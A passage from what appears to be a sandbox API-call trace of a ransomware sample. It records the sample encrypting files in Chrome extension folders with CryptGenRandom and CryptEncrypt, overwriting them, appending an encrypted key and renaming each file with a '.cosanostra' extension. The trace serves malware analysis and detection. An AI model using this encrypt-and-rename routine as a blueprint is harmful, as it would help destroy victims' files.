"c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.cosanostra")) returned 1 [0086.658] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff998 | out: pbBuffer=0x26ff998) returned 1 [0086.658] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff990*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff990*=0x30) returned 1 [0086.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0086.658] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 155 [0086.658] StrStrW (lpFirst="craw_window.html", lpSrch=".txt") returned 0x0 [0086.709] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffcd6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.710] WriteFile (in: hFile=0x16c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x32a, lpNumberOfBytesWritten=0x26ff954, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff954*=0x32a, lpOverlapped=0x0) returned 1 [0086.710] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.710] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff994*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff954, lpOverlapped=0x0 | out: lpBuffer=0x26ff994*, lpNumberOfBytesWritten=0x26ff954*=0x4, lpOverlapped=0x0) returned 1 [0086.710] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff954, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff954*=0x30, lpOverlapped=0x0) returned 1 [0086.710] CloseHandle (hObject=0x16c) returned 1 [0086.711] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html.cosanostra")) returned 1 [0086.712] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff990 | out: pbBuffer=0x26ff990) returned 1 [0086.712] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff988*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff988*=0x30) returned 1 [0086.712] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0086.723] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json") returned 159 [0086.723] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.746] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffd48, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.746] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2b8, lpNumberOfBytesWritten=0x26ff94c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff94c*=0x2b8, lpOverlapped=0x0) returned 1 [0086.746] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.746] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff98c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff94c, lpOverlapped=0x0 | out: lpBuffer=0x26ff98c*, lpNumberOfBytesWritten=0x26ff94c*=0x4, lpOverlapped=0x0) returned 1 [0086.746] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff94c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff94c*=0x30, lpOverlapped=0x0) returned 1 [0086.746] CloseHandle (hObject=0x16c) returned 1 [0086.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json.cosanostra")) returned 1 [0086.751] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff988 | out: pbBuffer=0x26ff988) returned 1 [0086.751] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff980*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff980*=0x30) returned 1 [0086.751] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0086.760] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 159 [0086.760] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.855] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffd3a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.855] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2c6, lpNumberOfBytesWritten=0x26ff944, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff944*=0x2c6, lpOverlapped=0x0) returned 1 [0086.919] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.919] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff944, lpOverlapped=0x0 | out: lpBuffer=0x26ff984*, lpNumberOfBytesWritten=0x26ff944*=0x4, lpOverlapped=0x0) returned 1 [0086.919] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff944, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff944*=0x30, lpOverlapped=0x0) returned 1 [0086.919] CloseHandle (hObject=0x16c) returned 1 [0086.920] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.cosanostra")) returned 1 [0086.920] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff988 | out: pbBuffer=0x26ff988) returned 1 [0086.921] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff980*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff980*=0x30) returned 1 [0086.921] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0086.921] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json") returned 143 [0086.921] StrStrW (lpFirst="manifest.json", lpSrch=".txt") returned 0x0 [0086.988] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffffcf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.988] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x26ff944, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff944*=0x310, lpOverlapped=0x0) returned 1 [0086.988] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.988] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff944, lpOverlapped=0x0 | out: lpBuffer=0x26ff984*, lpNumberOfBytesWritten=0x26ff944*=0x4, lpOverlapped=0x0) returned 1 [0086.989] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff944, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff944*=0x30, lpOverlapped=0x0) returned 1 [0086.989] CloseHandle (hObject=0x16c) returned 1 [0086.989] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.cosanostra")) returned 1 [0086.991] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff980 | out: pbBuffer=0x26ff980) returned 1 [0086.991] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff978*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff978*=0x30) returned 1 [0086.991] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0086.992] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 155 [0086.992] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.993] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffff11, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.993] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xef, lpNumberOfBytesWritten=0x26ff93c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff93c*=0xef, lpOverlapped=0x0) returned 1 [0086.993] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.993] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff97c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff93c, lpOverlapped=0x0 | out: lpBuffer=0x26ff97c*, lpNumberOfBytesWritten=0x26ff93c*=0x4, lpOverlapped=0x0) returned 1 [0086.993] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff93c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff93c*=0x30, lpOverlapped=0x0) returned 1 [0086.993] CloseHandle (hObject=0x16c) returned 1 [0086.993] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.cosanostra")) returned 1 [0086.995] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff978 | out: pbBuffer=0x26ff978) returned 1 [0086.995] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff970*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff970*=0x30) returned 1 [0086.995] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0086.996] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 155 [0086.996] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.997] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffff14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.997] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ff934, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff934*=0xec, lpOverlapped=0x0) returned 1 [0086.997] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.998] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff974*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff934, lpOverlapped=0x0 | out: lpBuffer=0x26ff974*, lpNumberOfBytesWritten=0x26ff934*=0x4, lpOverlapped=0x0) returned 1 [0086.998] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff934, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff934*=0x30, lpOverlapped=0x0) returned 1 [0086.998] CloseHandle (hObject=0x16c) returned 1 [0086.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.cosanostra")) returned 1 [0087.000] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff970 | out: pbBuffer=0x26ff970) returned 1 [0087.000] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff968*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff968*=0x30) returned 1 [0087.000] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.001] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 155 [0087.001] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.002] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffff07, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.002] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xf9, lpNumberOfBytesWritten=0x26ff92c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff92c*=0xf9, lpOverlapped=0x0) returned 1 [0087.002] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.002] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff96c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff92c, lpOverlapped=0x0 | out: lpBuffer=0x26ff96c*, lpNumberOfBytesWritten=0x26ff92c*=0x4, lpOverlapped=0x0) returned 1 [0087.002] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff92c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff92c*=0x30, lpOverlapped=0x0) returned 1 [0087.002] CloseHandle (hObject=0x16c) returned 1 [0087.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.cosanostra")) returned 1 [0087.004] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff968 | out: pbBuffer=0x26ff968) returned 1 [0087.004] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff960*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff960*=0x30) returned 1 [0087.004] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0087.005] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json") returned 155 [0087.005] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.005] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffff02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.005] WriteFile (in: hFile=0x16c, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x26ff924, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x26ff924*=0xfe, lpOverlapped=0x0) returned 1 [0087.006] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.006] WriteFile (in: hFile=0x16c, lpBuffer=0x26ff964*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff924, lpOverlapped=0x0 | out: lpBuffer=0x26ff964*, lpNumberOfBytesWritten=0x26ff924*=0x4, lpOverlapped=0x0) returned 1 [0087.006] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff924, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff924*=0x30, lpOverlapped=0x0) returned 1 [0087.006] CloseHandle (hObject=0x16c) returned 1 [0087.006] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\messages.json.cosanostra" (normalized: 